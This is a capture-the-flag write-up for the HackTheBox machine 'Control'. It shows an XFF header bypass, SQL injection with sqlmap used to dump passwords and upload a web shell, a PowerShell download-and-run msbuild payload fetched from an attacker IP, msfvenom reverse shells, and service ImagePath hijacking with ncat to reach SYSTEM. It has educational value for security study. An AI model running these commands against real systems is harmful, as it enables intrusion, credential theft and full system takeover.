Control is a 40 pts box on HackTheBox and it is rated as “Hard”. It has an admin page that is supposed to be accessible for only one ip but an attacker is able to bypass it with a http header. There is a search form that is vulnerable to SQL Injection on admin page. SQL Injection is not enough by itself, an attacker also needs to obtain code execution by abusing it. There is a WinRM process running locally and the attacker needs to forward it outside in order to get the initial access to user on the box. The user have control over some services and it allows escalation of privileges.
As always we begin with nmap,
λ ~/Desktop/htb/machines/control nmap -sVSC -vv -T5 10.10.10.167
Port 3306 caught my attention as its not really that common to have the database exposed to public.
Lets continue with content discovery, there was nothing much here too
λ ~/Desktop/htb/machines/control gobuster dir -u http://control.htb/ -w /opt/SecLists/Discovery/Web-Content/common.txt -t 50 -x php,html,aspx,js
There was a comment left on index.php
When this box was first released, there was a blog post going around on twitter about bypassing restrictions with XFF headers. I saw the same topic on some of the CTF challenges we played that week so I thought there was no chance it was going to be something else :)
This blog post below explains pretty much everything about it
Without XFF header
λ ~/Desktop/htb/machines/control curl http://10.10.10.167/admin.php -vv
XFF header with the ip on the comment
λ ~/Desktop/htb/machines/control curl -vv -H "X-forwarded-for: 192.168.4.28" http://10.10.10.167/admin.php
I used an extension called “Header Editor” to set the header permanently.
productName was vulnerable to SQL injection on endpoint
POST /search_products.php HTTP/1.1
λ ~/Desktop/htb/machines/control /opt/sqlmap/sqlmap.py -r search.req --batch -dbs
Users and their passwords
λ ~/Desktop/htb/machines/control /opt/sqlmap/sqlmap.py -r search.req --batch --passwords
Hector’s hash got cracked too
Credentials didn’t work for SMB and WinRM was closed so I understood I needed to get code execution abusing the SQL injection
We can simply upload-write files into web server. I uploaded pawny shell.
λ ~/Desktop/htb/machines/control /opt/sqlmap/sqlmap.py -r search.req --file-write=./pawny.php --file-dest="C:\inetpub\wwwroot\uploads\morph3-pawny.php" --batch
Hector was in
Remote Management Users group (WinRM)
And WinRM was working locally
In order to connect to WinRM as hector I needed to forward it, so I decided to get a meterpreter shell.
I used msbuild method to get a meterpreter shell.
I have an automated script for it,
(master ?:3 ✗) λ /opt/Msbuild-payload-generator python msbuild_gen.py -l 10.10.14.2 -p 9001 -a x86 -i 20 -m
On pawny shell
p0wny@shell:C:\inetpub\wwwroot\uploads# powershell.exe -c "Invoke-WebRequest "http://10.10.14.2/out_x86_9001.csproj" -OutFile "C:\Windows\Temp\out.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Windows\Temp\out.csproj"
meterpreter > getuid
Used evilwinrm to connect to winrm
or if you don’t want to do port forwarding you can use the powershell script below to get a reverse shell as Hector
icacls c:\windows\temp\ncat.exe /grant Everyone:F
Untill this part, everything was pretty straight forward and easy but after this part me and my team spent full +20 hours to get root but couldn’t because there were some hints missing and we couldn’t see anything.
However, a day later my team mate paint found an unintentional way that gave him the first blood, It was really a weird behaviour of the web server and I will try to explain it at the end :)
When we were doing the box this powershell history below was not on the box, they added it later on to give more hints about root as people were struggling so bad
Long story short what that means is hector has control over some services, he is able to modify binary paths or start them (can’t stop already running services because at that point its out of his permissions)
ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee
To list of all services hector has control over
get-acl HKLM:\System\CurrentControlSet\Services\* | Format-List * | findstr /i "Hector Users Path"
For example, a service might not be installed or already running or there can be some error, instead of going one by one I will modify all services and try to start them with my hijacked path
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> reg add "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath /t REG_EXPAND_SZ /d "C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd" /f
$services = ls HKLM:\SYSTEM\CurrentControlset\Services
After running the script, I got hit on many services and got root multiple times :D.
Basically under some circumstances web server acts differently but no matter how hard I tried, those cases didn’t make any sense to me so im leaving it to your imagination.
There are still many unknowns which I’m having trouble to understand. It would be perfect if you know anything about this bug and explain :D
Here are some test cases
Pawny | meterpreter shell
*Its not related to AV, files never gets deleted
Here is a funny example about what is going on
meterpreter > execute -f "c:\windows\system32\whoami.exe > C:\inetpub\wwwroot\uploads\who.txt"
iis apppool\wifidelity is like a system user which is able to restart Uso-Svc and is able to elevate his privileges to system easily.
Lets reproduce it
I uploaded my reverse shell payload to the server and by simply visiting the url
uploads/morph3.php I executed it
λ ~/Desktop/htb/machines/control msfvenom -p php/meterpreter_reverse_tcp lhost=10.10.14.2 lport=9005 -f raw > morph3.php
This shouldn’t work but it works so I have no idea why
I used the wrapper below
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.2 lport=9001 -a x64 -f raw > shellcode.raw
After that, I uploaded the 32bit exe(morph3.exe) to the server
It is really important that you execute it in a php meterpreter shell
As you can see we got a shell as Wifidelity
Its really weird that this user is not in users too and we can’t get its details
After going through some of the files that we were not able to see as hector, we see some files under
That strengthen my assumptions about a forgotten(deleted) apppool because there was a config which that really seemeled like it belonged to an actual project
As we expected, after loading PowerUp.ps1 and running
Invoke-AllChecks we see that this user is able to restart Uso-Svc
By simply using
Invoke-ServiceAbuse we can get System shell from it but im not going to show it here again.
As I said I still can’t fully understand this vuln or bug but it helped us and paint for the system first blood :)
Thanks for TRK for this awesome box !